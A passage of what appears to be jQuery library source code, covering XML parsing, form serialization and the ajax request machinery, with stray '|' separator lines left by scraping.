dataPriv.access( doc, fix, ( attaches || 0 ) + 1 );
|
|
},
|
|
teardown: function() {
|
|
var doc = this.ownerDocument || this,
|
|
attaches = dataPriv.access( doc, fix ) - 1;
|
|
|
|
if ( !attaches ) {
|
|
doc.removeEventListener( orig, handler, true );
|
|
dataPriv.remove( doc, fix );
|
|
|
|
} else {
|
|
dataPriv.access( doc, fix, attaches );
|
|
}
|
|
}
|
|
};
|
|
} );
|
|
}
|
|
var location = window.location;
|
|
|
|
var nonce = Date.now();
|
|
|
|
var rquery = ( /\?/ );
|
|
|
|
|
|
|
|
// Cross-browser xml parsing
|
|
jQuery.parseXML = function( data ) {
|
|
var xml;
|
|
if ( !data || typeof data !== "string" ) {
|
|
return null;
|
|
}
|
|
|
|
// Support: IE 9 - 11 only
|
|
// IE throws on parseFromString with invalid input.
|
|
try {
|
|
xml = ( new window.DOMParser() ).parseFromString( data, "text/xml" );
|
|
} catch ( e ) {
|
|
xml = undefined;
|
|
}
|
|
|
|
if ( !xml || xml.getElementsByTagName( "parsererror" ).length ) {
|
|
jQuery.error( "Invalid XML: " + data );
|
|
}
|
|
return xml;
|
|
};
|
|
|
|
|
|
var
|
|
rbracket = /\[\]$/,
|
|
rCRLF = /\r?\n/g,
|
|
rsubmitterTypes = /^(?:submit|button|image|reset|file)$/i,
|
|
rsubmittable = /^(?:input|select|textarea|keygen)/i;
|
|
|
|
function buildParams( prefix, obj, traditional, add ) {
|
|
var name;
|
|
|
|
if ( Array.isArray( obj ) ) {
|
|
|
|
// Serialize array item.
|
|
jQuery.each( obj, function( i, v ) {
|
|
if ( traditional || rbracket.test( prefix ) ) {
|
|
|
|
// Treat each array item as a scalar.
|
|
add( prefix, v );
|
|
|
|
} else {
|
|
|
|
// Item is non-scalar (array or object), encode its numeric index.
|
|
buildParams(
|
|
prefix + "[" + ( typeof v === "object" && v != null ? i : "" ) + "]",
|
|
v,
|
|
traditional,
|
|
add
|
|
);
|
|
}
|
|
} );
|
|
|
|
} else if ( !traditional && toType( obj ) === "object" ) {
|
|
|
|
// Serialize object item.
|
|
for ( name in obj ) {
|
|
buildParams( prefix + "[" + name + "]", obj[ name ], traditional, add );
|
|
}
|
|
|
|
} else {
|
|
|
|
// Serialize scalar item.
|
|
add( prefix, obj );
|
|
}
|
|
}
|
|
|
|
// Serialize an array of form elements or a set of
|
|
// key/values into a query string
|
|
jQuery.param = function( a, traditional ) {
|
|
var prefix,
|
|
s = [],
|
|
add = function( key, valueOrFunction ) {
|
|
|
|
// If value is a function, invoke it and use its return value
|
|
var value = isFunction( valueOrFunction ) ?
|
|
valueOrFunction() :
|
|
valueOrFunction;
|
|
|
|
s[ s.length ] = encodeURIComponent( key ) + "=" +
|
|
encodeURIComponent( value == null ? "" : value );
|
|
};
|
|
|
|
// If an array was passed in, assume that it is an array of form elements.
|
|
if ( Array.isArray( a ) || ( a.jquery && !jQuery.isPlainObject( a ) ) ) {
|
|
|
|
// Serialize the form elements
|
|
jQuery.each( a, function() {
|
|
add( this.name, this.value );
|
|
} );
|
|
|
|
} else {
|
|
|
|
// If traditional, encode the "old" way (the way 1.3.2 or older
|
|
// did it), otherwise encode params recursively.
|
|
for ( prefix in a ) {
|
|
buildParams( prefix, a[ prefix ], traditional, add );
|
|
}
|
|
}
|
|
|
|
// Return the resulting serialization
|
|
return s.join( "&" );
|
|
};
|
|
|
|
jQuery.fn.extend( {
|
|
serialize: function() {
|
|
return jQuery.param( this.serializeArray() );
|
|
},
|
|
serializeArray: function() {
|
|
return this.map( function() {
|
|
|
|
// Can add propHook for "elements" to filter or add form elements
|
|
var elements = jQuery.prop( this, "elements" );
|
|
return elements ? jQuery.makeArray( elements ) : this;
|
|
} )
|
|
.filter( function() {
|
|
var type = this.type;
|
|
|
|
// Use .is( ":disabled" ) so that fieldset[disabled] works
|
|
return this.name && !jQuery( this ).is( ":disabled" ) &&
|
|
rsubmittable.test( this.nodeName ) && !rsubmitterTypes.test( type ) &&
|
|
( this.checked || !rcheckableType.test( type ) );
|
|
} )
|
|
.map( function( i, elem ) {
|
|
var val = jQuery( this ).val();
|
|
|
|
if ( val == null ) {
|
|
return null;
|
|
}
|
|
|
|
if ( Array.isArray( val ) ) {
|
|
return jQuery.map( val, function( val ) {
|
|
return { name: elem.name, value: val.replace( rCRLF, "\r\n" ) };
|
|
} );
|
|
}
|
|
|
|
return { name: elem.name, value: val.replace( rCRLF, "\r\n" ) };
|
|
} ).get();
|
|
}
|
|
} );
|
|
|
|
|
|
var
|
|
r20 = /%20/g,
|
|
rhash = /#.*$/,
|
|
rantiCache = /([?&])_=[^&]*/,
|
|
rheaders = /^(.*?):[ \t]*([^\r\n]*)$/mg,
|
|
|
|
// #7653, #8125, #8152: local protocol detection
|
|
rlocalProtocol = /^(?:about|app|app-storage|.+-extension|file|res|widget):$/,
|
|
rnoContent = /^(?:GET|HEAD)$/,
|
|
rprotocol = /^\/\//,
|
|
|
|
/* Prefilters
|
|
* 1) They are useful to introduce custom dataTypes (see ajax/jsonp.js for an example)
|
|
* 2) These are called:
|
|
* - BEFORE asking for a transport
|
|
* - AFTER param serialization (s.data is a string if s.processData is true)
|
|
* 3) key is the dataType
|
|
* 4) the catchall symbol "*" can be used
|
|
* 5) execution will start with transport dataType and THEN continue down to "*" if needed
|
|
*/
|
|
prefilters = {},
|
|
|
|
/* Transports bindings
|
|
* 1) key is the dataType
|
|
* 2) the catchall symbol "*" can be used
|
|
* 3) selection will start with transport dataType and THEN go to "*" if needed
|
|
*/
|
|
transports = {},
|
|
|
|
// Avoid comment-prolog char sequence (#10098); must appease lint and evade compression
|
|
allTypes = "*/".concat( "*" ),
|
|
|
|
// Anchor tag for parsing the document origin
|
|
originAnchor = document.createElement( "a" );
|
|
originAnchor.href = location.href;
|
|
|
|
// Base "constructor" for jQuery.ajaxPrefilter and jQuery.ajaxTransport
|
|
function addToPrefiltersOrTransports( structure ) {
|
|
|
|
// dataTypeExpression is optional and defaults to "*"
|
|
return function( dataTypeExpression, func ) {
|
|
|
|
if ( typeof dataTypeExpression !== "string" ) {
|
|
func = dataTypeExpression;
|
|
dataTypeExpression = "*";
|
|
}
|
|
|
|
var dataType,
|
|
i = 0,
|
|
dataTypes = dataTypeExpression.toLowerCase().match( rnothtmlwhite ) || [];
|
|
|
|
if ( isFunction( func ) ) {
|
|
|
|
// For each dataType in the dataTypeExpression
|
|
while ( ( dataType = dataTypes[ i++ ] ) ) {
|
|
|
|
// Prepend if requested
|
|
if ( dataType[ 0 ] === "+" ) {
|
|
dataType = dataType.slice( 1 ) || "*";
|
|
( structure[ dataType ] = structure[ dataType ] || [] ).unshift( func );
|
|
|
|
// Otherwise append
|
|
} else {
|
|
( structure[ dataType ] = structure[ dataType ] || [] ).push( func );
|
|
}
|
|
}
|
|
}
|
|
};
|
|
}
|
|
|
|
// Base inspection function for prefilters and transports
|
|
function inspectPrefiltersOrTransports( structure, options, originalOptions, jqXHR ) {
|
|
|
|
var inspected = {},
|
|
seekingTransport = ( structure === transports );
|
|
|
|
function inspect( dataType ) {
|
|
var selected;
|
|
inspected[ dataType ] = true;
|
|
jQuery.each( structure[ dataType ] || [], function( _, prefilterOrFactory ) {
|
|
var dataTypeOrTransport = prefilterOrFactory( options, originalOptions, jqXHR );
|
|
if ( typeof dataTypeOrTransport === "string" &&
|
|
!seekingTransport && !inspected[ dataTypeOrTransport ] ) {
|
|
|
|
options.dataTypes.unshift( dataTypeOrTransport );
|
|
inspect( dataTypeOrTransport );
|
|
return false;
|
|
} else if ( seekingTransport ) {
|
|
return !( selected = dataTypeOrTransport );
|
|
}
|
|
} );
|
|
return selected;
|
|
}
|
|
|
|
return inspect( options.dataTypes[ 0 ] ) || !inspected[ "*" ] && inspect( "*" );
|
|
}
|
|
|
|
// A special extend for ajax options
|
|
// that takes "flat" options (not to be deep extended)
|
|
// Fixes #9887
|
|
function ajaxExtend( target, src ) {
|
|
var key, deep,
|
|
flatOptions = jQuery.ajaxSettings.flatOptions || {};
|
|
|
|
for ( key in src ) {
|
|
if ( src[ key ] !== undefined ) {
|
|
( flatOptions[ key ] ? target : ( deep || ( deep = {} ) ) )[ key ] = src[ key ];
|
|
}
|
|
}
|
|
if ( deep ) {
|
|
jQuery.extend( true, target, deep );
|
|
}
|
|
|
|
return target;
|
|
}
|
|
|
|
/* Handles responses to an ajax request:
|
|
* - finds the right dataType (mediates between content-type and expected dataType)
|
|
* - returns the corresponding response
|
|
*/
|
|
function ajaxHandleResponses( s, jqXHR, responses ) {
|
|
|
|
var ct, type, finalDataType, firstDataType,
|
|
contents = s.contents,
|
|
dataTypes = s.dataTypes;
|
|
|
|
// Remove auto dataType and get content-type in the process
|
|
while ( dataTypes[ 0 ] === "*" ) {
|
|
dataTypes.shift();
|
|
if ( ct === undefined ) {
|
|
ct = s.mimeType || jqXHR.getResponseHeader( "Content-Type" );
|
|
}
|
|
}
|
|
|
|
// Check if we're dealing with a known content-type
|
|
if ( ct ) {
|
|
for ( type in contents ) {
|
|
if ( contents[ type ] && contents[ type ].test( ct ) ) {
|
|
dataTypes.unshift( type );
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
|
|
// Check to see if we have a response for the expected dataType
|
|
if ( dataTypes[ 0 ] in responses ) {
|
|
finalDataType = dataTypes[ 0 ];
|
|
} else {
|
|
|
|
// Try convertible dataTypes
|
|
for ( type in responses ) {
|
|
if ( !dataTypes[ 0 ] || s.converters[ type + " " + dataTypes[ 0 ] ] ) {
|
|
finalDataType = type;
|
|
break;
|
|
}
|
|
if ( !firstDataType ) {
|
|
firstDataType = type;
|
|
}
|
|
}
|
|
|
|
// Or just use first one
|
|
finalDataType = finalDataType || firstDataType;
|
|
}
|
|
|
|
// If we found a dataType
|
|
// We add the dataType to the list if needed
|
|
// and return the corresponding response
|
|
if ( finalDataType ) {
|
|
if ( finalDataType !== dataTypes[ 0 ] ) {
|
|
dataTypes.unshift( finalDataType );
|
|
}
|
|
return responses[ finalDataType ];
|
|
}
|
|
}
|
|
|
|
/* Chain conversions given the request and the original response
|
|
* Also sets the responseXXX fields on the jqXHR instance
|
|
*/
|
|
function ajaxConvert( s, response, jqXHR, isSuccess ) {
|
|
var conv2, current, conv, tmp, prev,
|
|
converters = {},
|
|
|
|
// Work with a copy of dataTypes in case we need to modify it for conversion
|
|
dataTypes = s.dataTypes.slice();
|
|
|
|
// Create converters map with lowercased keys
|
|
if ( dataTypes[ 1 ] ) {
|
|
for ( conv in s.converters ) {
|
|
converters[ conv.toLowerCase() ] = s.converters[ conv ];
|
|
}
|
|
}
|
|
|
|
current = dataTypes.shift();
|
|
|
|
// Convert to each sequential dataType
|
|
while ( current ) {
|
|
|
|
if ( s.responseFields[ current ] ) {
|
|
jqXHR[ s.responseFields[ current ] ] = response;
|
|
}
|
|
|
|
// Apply the dataFilter if provided
|
|
if ( !prev && isSuccess && s.dataFilter ) {
|
|
response = s.dataFilter( response, s.dataType );
|
|
}
|
|
|
|
prev = current;
|
|
current = dataTypes.shift();
|
|
|
|
if ( current ) {
|
|
|
|
// There's only work to do if current dataType is non-auto
|
|
if ( current === "*" ) {
|
|
|
|
current = prev;
|
|
|
|
// Convert response if prev dataType is non-auto and differs from current
|
|
} else if ( prev !== "*" && prev !== current ) {
|
|
|
|
// Seek a direct converter
|
|
conv = converters[ prev + " " + current ] || converters[ "* " + current ];
|
|
|
|
// If none found, seek a pair
|
|
if ( !conv ) {
|
|
for ( conv2 in converters ) {
|
|
|
|
// If conv2 outputs current
|
|
tmp = conv2.split( " " );
|
|
if ( tmp[ 1 ] === current ) {
|
|
|
|
// If prev can be converted to accepted input
|
|
conv = converters[ prev + " " + tmp[ 0 ] ] ||
|
|
converters[ "* " + tmp[ 0 ] ];
|
|
if ( conv ) {
|
|
|
|
// Condense equivalence converters
|
|
if ( conv === true ) {
|
|
conv = converters[ conv2 ];
|
|
|
|
// Otherwise, insert the intermediate dataType
|
|
} else if ( converters[ conv2 ] !== true ) {
|
|
current = tmp[ 0 ];
|
|
dataTypes.unshift( tmp[ 1 ] );
|
|
}
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
// Apply converter (if not an equivalence)
|
|
if ( conv !== true ) {
|
|
|
|
// Unless errors are allowed to bubble, catch and return them
|
|
if ( conv && s.throws ) {
|
|
response = conv( response );
|
|
} else {
|
|
try {
|
|
response = conv( response );
|
|
} catch ( e ) {
|
|
return {
|
|
state: "parsererror",
|
|
error: conv ? e : "No conversion from " + prev + " to " + current
|
|
};
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
return { state: "success", data: response };
|
|
}
|
|
|
|
jQuery.extend( {
|
|
|
|
// Counter for holding the number of active queries
|
|
active: 0,
|
|
|
|
// Last-Modified header cache for next request
|
|
lastModified: {},
|
|
etag: {},
|
|
|
|
ajaxSettings: {
|
|
url: location.href,
|
|
type: "GET",
|
|
isLocal: rlocalProtocol.test( location.protocol ),
|
|
global: true,
|
|
processData: true,
|
|
async: true,
|
|
contentType: "application/x-www-form-urlencoded; charset=UTF-8",
|
|
|
|
/*
|
|
timeout: 0,
|
|
data: null,
|
|
dataType: null,
|
|
username: null,
|
|
password: null,
|
|
cache: null,
|
|
throws: false,
|
|
traditional: false,
|
|
headers: {},
|
|
*/
|
|
|
|
accepts: {
|
|
"*": allTypes,
|
|
text: "text/plain",
|
|
html: "text/html",
|
|
xml: "application/xml, text/xml",
|
|
json: "application/json, text/javascript"
|
|
},
|
|
|
|
contents: {
|
|
xml: /\bxml\b/,
|
|
html: /\bhtml/,
|
|
json: /\bjson\b/
|
|
},
|
|
|
|
responseFields: {
|
|
xml: "responseXML",
|
|
text: "responseText",
|
|
json: "responseJSON"
|
|
},
|
|
|
|
// Data converters
|
|
// Keys separate source (or catchall "*") and destination types with a single space
|
|
converters: {
|
|
|
|
// Convert anything to text
|
|
"* text": String,
|
|
|
|
// Text to html (true = no transformation)
|
|
"text html": true,
|
|
|
|
// Evaluate text as a json expression
|
|
"text json": JSON.parse,
|
|
|
|
// Parse text as xml
|
|
"text xml": jQuery.parseXML
|
|
},
|
|
|
|
// For options that shouldn't be deep extended:
|
|
// you can add your own custom options here if
|
|
// and when you create one that shouldn't be
|
|
// deep extended (see ajaxExtend)
|
|
flatOptions: {
|
|
url: true,
|
|
context: true
|
|
}
|
|
},
|
|
|
|
// Creates a full fledged settings object into target
|
|
// with both ajaxSettings and settings fields.
|
|
// If target is omitted, writes into ajaxSettings.
|
|
ajaxSetup: function( target, settings ) {
|
|
return settings ?
|
|
|
|
// Building a settings object
|
|
ajaxExtend( ajaxExtend( target, jQuery.ajaxSettings ), settings ) :
|
|
|
|
// Extending ajaxSettings
|
|
ajaxExtend( jQuery.ajaxSettings, target );
|
|
},
|
|
|
|
ajaxPrefilter: addToPrefiltersOrTransports( prefilters ),
|
|
ajaxTransport: addToPrefiltersOrTransports( transports ),
|
|
|
|
// Main method
|
|
ajax: function( url, options ) {
|
|
|
|
// If url is an object, simulate pre-1.5 signature
|
|
if ( typeof url === "object" ) {
|
|
options = url;
|
|
url = undefined;
|
|
}
|
|
|
|
// Force options to be an object
|
|
options = options || {};
|
|
|
|
var transport,
|
|
|
|
// URL without anti-cache param
|
|
cacheURL,
|
|
|
|
// Response headers
|
|
responseHeadersString,
|
|
responseHeaders,
|
|
|
|
// timeout handle
|
|
timeoutTimer,
|
|
|
|
// Url cleanup var
|
|
urlAnchor,
|
|
|
|
// Request state (becomes false upon send and true upon completion)
|
|
completed,
|
|
|
|
// To know if global events are to be dispatched
|
|
fireGlobals,
|
|
|
|
// Loop variable
|
|
i,
|
|
|
|
// uncached part of the url
|
|
uncached,
|
|
|
|
// Create the final options object
|
|
s = jQuery.ajaxSetup( {}, options ),
|
|
|
|
// Callbacks context
|
|
callbackContext = s.context || s,
|
|
|
|
// Context for global events is callbackContext if it is a DOM node or jQuery collection
|
|
globalEventContext = s.context &&
|
|
( callbackContext.nodeType || callbackContext.jquery ) ?
|
|
jQuery( callbackContext ) :
|
|
jQuery.event,
|
|
|
|
// Deferreds
|
|
deferred = jQuery.Deferred(),
|
|
completeDeferred = jQuery.Callbacks( "once memory" ),
|
|
|
|
// Status-dependent callbacks
|
|
statusCode = s.statusCode || {},
|
|
|
|
// Headers (they are sent all at once)
|
|
requestHeaders = {},
|
|
requestHeadersNames = {},
|
|
|
|
// Default abort message
|
|
strAbort = "canceled",
|
|
|
|
// Fake xhr
|
|
jqXHR = {
|
|
readyState: 0,
|
|
|
|
// Builds headers hashtable if needed
|
|
getResponseHeader: function( key ) {
|
|
var match;
|
|
if ( completed ) {
|
|
if ( !responseHeaders ) {
|
|
responseHeaders = {};
|
|
while ( ( match = rheaders.exec( responseHeadersString ) ) ) {
|
|
responseHeaders[ match[ 1 ].toLowerCase() ] = match[ 2 ];
|
|
}
|
|
}
|
|
match = responseHeaders[ key.toLowerCase() ];
|
|
}
|
|
return match == null ? null : match;
|
|
},
|
|
|
|
// Raw string
|
|
getAllResponseHeaders: function() {
|
|
return completed ? responseHeadersString : null;
|
|
},
|
|
|
|
// Caches the header
|
|
setRequestHeader: function( name, value ) {
|
|
if ( completed == null ) {
|
|
name = requestHeadersNames[ name.toLowerCase() ] =
|
|
requestHeadersNames[ name.toLowerCase() ] || name;
|
|
requestHeaders[ name ] = value;
|
|
}
|
|
return this;
|
|
},
|
|
|
|
// Overrides response content-type header
|
|
overrideMimeType: function( type ) {
|
|
if ( completed == null ) {
|
|
s.mimeType = type;
|
|
}
|
|
return this;
|
|
},
|
|
|
|
// Status-dependent callbacks
|
|
statusCode: function( map ) {
|
|
var code;
|
|
if ( map ) {
|
|
if ( completed ) {
|
|
|
|
// Execute the appropriate callbacks
|
|
jqXHR.always( map[ jqXHR.status ] );
|
|
} else {
|
|
|
|
// Lazy-add the new callbacks in a way that preserves old ones
|
|
for ( code in map ) {
|
|
statusCode[ code ] = [ statusCode[ code ], map[ code ] ];
|
|
}
|
|
}
|
|
}
|
|
return this;
|
|
},
|
|
|
|
// Cancel the request
|
|
abort: function( statusText ) {
|
|
var finalText = statusText || strAbort;
|
|
if ( transport ) {
|
|
transport.abort( finalText );
|
|
}
|
|
done( 0, finalText );
|
|
return this;
|
|
}
|
|
};
|
|
|
|
// Attach deferreds
|
|
deferred.promise( jqXHR );
|
|
|
|
// Add protocol if not provided (prefilters might expect it)
|
|
// Handle falsy url in the settings object (#10093: consistency with old signature)
|
|
// We also use the url parameter if available
|
|
s.url = ( ( url || s.url || location.href ) + "" )
|
|
.replace( rprotocol, location.protocol + "//" );
|
|
|
|
// Alias method option to type as per ticket #12004
|
|
s.type = options.method || options.type || s.method || s.type;
|
|
|
|
// Extract dataTypes list
|
|
s.dataTypes = ( s.dataType || "*" ).toLowerCase().match( rnothtmlwhite ) || [ "" ];
|
|
|
|
// A cross-domain request is in order when the origin doesn't match the current origin.
|
|
if ( s.crossDomain == null ) {
|
|
urlAnchor = document.createElement( "a" );
|
|
|
|
// Support: IE <=8 - 11, Edge 12 - 15
|
|
// IE throws exception on accessing the href property if url is malformed,
|
|
// e.g. http://example.com:80x/
|
|
try {
|
|
urlAnchor.href = s.url;
|
|
|
|
// Support: IE <=8 - 11 only
|
|
// Anchor's host property isn't correctly set when s.url is relative
|
|
urlAnchor.href = urlAnchor.href;
|
|
s.crossDomain = originAnchor.protocol + "//" + originAnchor.host !==
|
|
urlAnchor.protocol + "//" + urlAnchor.host;
|
|
} catch ( e ) {
|
|
|
|
// If there is an error parsing the URL, assume it is crossDomain,
|
|
// it can be rejected by the transport if it is invalid
|
|
s.crossDomain = true;
|
|
}
|
|
}
|
|
|
|
// Convert data if not already a string
|
|
if ( s.data && s.processData && typeof s.data !== "string" ) {
|
|
s.data = jQuery.param( s.data, s.traditional );
|
|
}
|
|
|
|
// Apply prefilters
|
|
inspectPrefiltersOrTransports( prefilters, s, options, jqXHR );
|
|
|
|
// If request was aborted inside a prefilter, stop there
|
|
if ( completed ) {
|
|
return jqXHR;
|
|
}
|
|
|
|
// We can fire global events as of now if asked to
|
|
// Don't fire events if jQuery.event is undefined in an AMD-usage scenario (#15118)
|
|
fireGlobals = jQuery.event && s.global;
|
|
|
|
// Watch for a new set of requests
|
|
if ( fireGlobals && jQuery.active++ === 0 ) {
|
|
jQuery.event.trigger( "ajaxStart" );
|
|
}
|
|
|
|
// Uppercase the type
|
|
s.type = s.type.toUpperCase();
|
|
|
|
// Determine if request has content
|
|
s.hasContent = !rnoContent.test( s.type );
|
|
|
|
// Save the URL in case we're toying with the If-Modified-Since
|
|
// and/or If-None-Match header later on
|
|
// Remove hash to simplify url manipulation
|
|
cacheURL = s.url.replace( rhash, "" );
|
|
|
|
// More options handling for requests with no content
|
|
if ( !s.hasContent ) {
|
|
|
|
// Remember the hash so we can put it back
|
|
uncached = s.url.slice( cacheURL.length );
|
|
|
|
// If data is available and should be processed, append data to url
|
|
if ( s.data && ( s.processData || typeof s.data === "string" ) ) {
|
|
cacheURL += ( rquery.test( cacheURL ) ? "&" : "?" ) + s.data;
|
|
|
|
// #9682: remove data so that it's not used in an eventual retry
|
|
delete s.data;
|
|
}
|
|
|
|
// Add or update anti-cache param if needed
|
|
if ( s.cache === false ) {
|
|
cacheURL = cacheURL.replace( rantiCache, "$1" );
|
|
uncached = ( rquery.test( cacheURL ) ? "&" : "?" ) + "_=" + ( nonce++ ) + uncached;
|
|
}
|
|
|
|
// Put hash and anti-cache on the URL that will be requested (gh-1732)
|
|
s.url = cacheURL + uncached;
|
|
|
|
// Change '%20' to '+' if this is encoded form body content (gh-2658)
|
|
} else if ( s.data && s.processData &&
|
|
( s.contentType || "" ).indexOf( "application/x-www-form-urlencoded" ) === 0 ) {
|
|
s.data = s.data.replace( r20, "+" );
|
|
}
|
|
|
|
// Set the If-Modified-Since and/or If-None-Match header, if in ifModified mode.
|
|
if ( s.ifModified ) {
|
|
if ( jQuery.lastModified[ cacheURL ] ) {
|
|
jqXHR.setRequestHeader( "If-Modified-Since", jQuery.lastModified[ cacheURL ] );
|
|
}
|
|
if ( jQuery.etag[ cacheURL ] ) {
|
|
jqXHR.setRequestHeader( "If-None-Match", jQuery.etag[ cacheURL ] );
|
|
}
|
|
}
|
|
|
|
// Set the correct header, if data is being sent
|
|
if ( s.data && s.hasContent && s.contentType !== false || options.contentType ) {
|
|
jqXHR.setRequestHeader( "Content-Type", s.contentType );
|
|
}
|
|
|
|
// Set the Accepts header for the server, depending on the dataType
|
|
jqXHR.setRequestHeader(
|
|
"Accept",
|
|
s.dataTypes[ 0 ] && s.accepts[ s.dataTypes[ 0 ] ] ?
|
|
s.accepts[ s.dataTypes[ 0 ] ] +
|
|
( s.dataTypes[ 0 ] !== "*" ? ", " + allTypes + "; q=0.01" : "" ) :
|
|
s.accepts[ "*" ]
|
|
);
|
|
|
|
// Check for headers option
|
|
for ( i in s.headers ) {
|
|
jqXHR.setRequestHeader( i, s.headers[ i ] );
|
|
}
|
|
|
|
// Allow custom headers/mimetypes and early abort
|
|
if ( s.beforeSend &&
|
|
( s.beforeSend.call( callbackContext, jqXHR, s ) === false || completed ) ) {
|
|
|
|
// Abort if not done already and return
|
|
return jqXHR.abort();
|
|
}
|
|
|
|
// Aborting is no longer a cancellation
|
|
strAbort = "abort";
|
|
|
|
// Install callbacks on deferreds
|
|
completeDeferred.add( s.complete );
|
|
jqXHR.done( s.success );
|
|
jqXHR.fail( s.error );
|
|
|
|
// Get transport
|
|
transport = inspectPrefiltersOrTransports( transports, s, options, jqXHR );
|
|
|
|
// If no transport, we auto-abort
|
|
if ( !transport ) {
|
|
done( -1, "No Transport" );
|
|
} else {
|
|
jqXHR.readyState = 1;
|
|
|
|
// Send global event
|
|
if ( fireGlobals ) {
|
|
globalEventContext.trigger( "ajaxSend", [ jqXHR, s ] );
|
|
}
|
|
|
|
// If request was aborted inside ajaxSend, stop there
|
|
if ( completed ) {
|
|
return jqXHR;
|
|
}
|
|
|
|
// Timeout
|
|
if ( s.async && s.timeout > 0 ) {
|
|
timeoutTimer = window.setTimeout( function() {
|
|
jqXHR.abort( "timeout" );
|
|
}, s.timeout );
|
|
}
|
|
|
|
try {
|
|
completed = false;
|
|
transport.send( requestHeaders, done );
|
|
} catch ( e ) {
|
|
|
|
// Rethrow post-completion exceptions
|
|
if ( completed ) {
|
|
throw e;
|
|
}
|
|
|
|
// Propagate others as results
|
|
done( -1, e );
|
|
}
|
|
}
|
|
|
|
// Callback for when everything is done
|
|
function done( status, nativeStatusText, responses, headers ) {
|
|
var isSuccess, success, error, response, modified,
|
|
statusText = nativeStatusText;
|
|
|
|
// Ignore repeat invocations
|
|
if ( completed ) {
|
|
return;
|
|
}
|
|
|
|
completed = true;
|
|
|
|
// Clear timeout if it exists
|
|
if ( timeoutTimer ) {
|
|
window.clearTimeout( timeoutTimer );
|
|
}
|
|
|
|
// Dereference transport for early garbage collection
|
|
// (no matter how long the jqXHR object will be used)
|
|
transport = undefined;
|
|
|
|
// Cache response headers
|
|
responseHeadersString = headers || "";
|
|
|
|
// Set readyState
|
|
jqXHR.readyState = status > 0 ? 4 : 0;
|
|
|
|
// Determine if successful
|
|
isSuccess = status >= 200 && status < 300 || status === 304;
|
|
|
|
// Get response data
|
|
if ( responses ) {
|
|
response = ajaxHandleResponses( s, jqXHR, responses );
|
|
}
|
|
|
|
// Convert no matter what (that way responseXXX fields are always set)
|
|
response = ajaxConvert( s, response, jqXHR, isSuccess );
|
|
|
|
// If successful, handle type chaining
|
|
if ( isSuccess ) {
|
|
|
|
// Set the If-Modified-Since and/or If-None-Match header, if in ifModified mode.
|
|
if ( s.ifModified ) {
|
|
modified = jqXHR.getResponseHeader( "Last-Modified" );
|
|
if ( modified ) {
|
|
jQuery.lastModified[ cacheURL ] = modified;
|
|
}
|
|
modified = jqXHR.getResponseHeader( "etag" );
|
|
if ( modified ) {
|
|
jQuery.etag[ cacheURL ] = modified;
|
|
}
|
|
}
|
|
|
|
// if no content
|
|
if ( status === 204 || s.type === "HEAD" ) {
|
|
statusText = "nocontent";
|
|
|
|
// if not modified
|
|
} else if ( status === 304 ) {
|
|
statusText = "notmodified";
|
|
|
|
// If we have data, let's convert it
|
|
} else {
|
|
statusText = response.state;
|
|
success = response.data;
|
|
error = response.error;
|
|
isSuccess = !error;
|
|
}
|
|
} else {
|
|
|
|
// Extract error from statusText and normalize for non-aborts
|
|
error = statusText;
|
|
if ( status || !statusText ) {
|
|
statusText = "error";
|
|
if ( status < 0 ) {
|
|
status = 0;
|
|
}
|
|
}
|
|
}
|
|
|
|
// Set data for the fake xhr object
|
|
jqXHR.status = status;
|
|
jqXHR.statusText = ( nativeStatusText || statusText ) + "";
|
|
|
|
// Success/Error
|
|
if ( isSuccess ) {
|
|
deferred.resolveWith( callbackContext, [ success, statusText, jqXHR ] );
|
|
} else {
|
|
deferred.rejectWith( callbackContext, [ jqXHR, statusText, error ] );
|
|
}
|
|
|
|
// Status-dependent callbacks
|
|
jqXHR.statusCode( statusCode );
|
|
statusCode = undefined;
|
|
|
|
if ( fireGlobals ) {
|
|
globalEventContext.trigger( isSuccess ? "ajaxSuccess" : "ajaxError",
|
|
[ jqXHR, s, isSuccess ? success : error ] );
|
|
}
|
|
|
|
// Complete
|
|
completeDeferred.fireWith( callbackContext, [ jqXHR, statusText ] );
|
|
|
|
if ( fireGlobals ) {
|
|
globalEventContext.trigger( "ajaxComplete", [ jqXHR, s ] );
|
|
|
|
// Handle the global AJAX counter
|
|
if ( !( --jQuery.active ) ) {
|
|
jQuery.event.trigger( "ajaxStop" );
|
|
}
|
|
}
|
|
}
|
|
|
|
return jqXHR;
|
|
},
|
|
|
|
getJSON: function( url, data, callback ) {
|
|
return jQuery.get( url, data, callback, "json" );
|
|
},
|
|
|
|
getScript: function( url, callback ) {
|
|
return jQuery.get( url, undefined, callback, "script" );
|
|
}
|
|
} );
|
|
|
|
jQuery.each( [ "get", "post" ], function( i, method ) {
|
|
jQuery[ method ] = function( url, data, callback, type ) {
|
|
|
|
// Shift arguments if data argument was omitted
|
|
if ( isFunction( data ) ) {
|
|
type = type || callback;
|
|
callback = data;
|
|
data = undefined;
|
|
}
|
|
|
|
// The url can be an options object (which then must have .url)
|
|
return jQuery.ajax( jQuery.extend( {
|
|
url: url,
|
|
type: method,
|
|
dataType: type,
|
|
data: data,
|
|
success: callback
|
|
}, jQuery.isPlainObject( url ) && url ) );
|
|
};
|
|
} );
|
|
|
|
|
|
jQuery._evalUrl = function( url ) {
|
|
return jQuery.ajax( {
|
|
url: url,
|
|
|
|
// Make this explicit, since user can override this through ajaxSetup (#11264)
|
|
type: "GET",
|
|
dataType: "script",
|
|
cache: true,
|
|
async: false,
|
|
global: false,
|
|
"throws": true
|
|
} );
|
|
};
|
|
|
|
|
|
jQuery.fn.extend( {
|
|
wrapAll: function( html ) {
|
|
var wrap;
|
|
|
|
if ( this[ 0 ] ) {
|
|
if ( isFunction( html ) ) {
|
|
html = html.call( this[ 0 ] );
|
|
}
|
|
|
|
// The elements to wrap the target around
|
|
wrap = jQuery( html, this[ 0 ].ownerDocument ).eq( 0 ).clone( true );
|
|
|
|
if ( this[ 0 ].parentNode ) {
|
|
wrap.insertBefore( this[ 0 ] );
|
|
}
|
|
|
|
wrap.map( function() {
|
|
var elem = this;
|
|
|
|
while ( elem.firstElementChild ) {
|
|
elem = elem.firstElementChild;
|
|
}
|
|
|
|
return elem;
|
|
} ).append( this );
|
|
}
|
|
|
|
return this;
|
|
},
|
|
|
|
wrapInner: function( html ) {
|
|
if ( isFunction( html ) ) {
|
|
return this.each( function( i ) {
|
|
jQuery( this ).wrapInner( html.call( this, i ) );
|
|
} );
|
|
}
|
|
|
|
return this.each( function() {
|
|
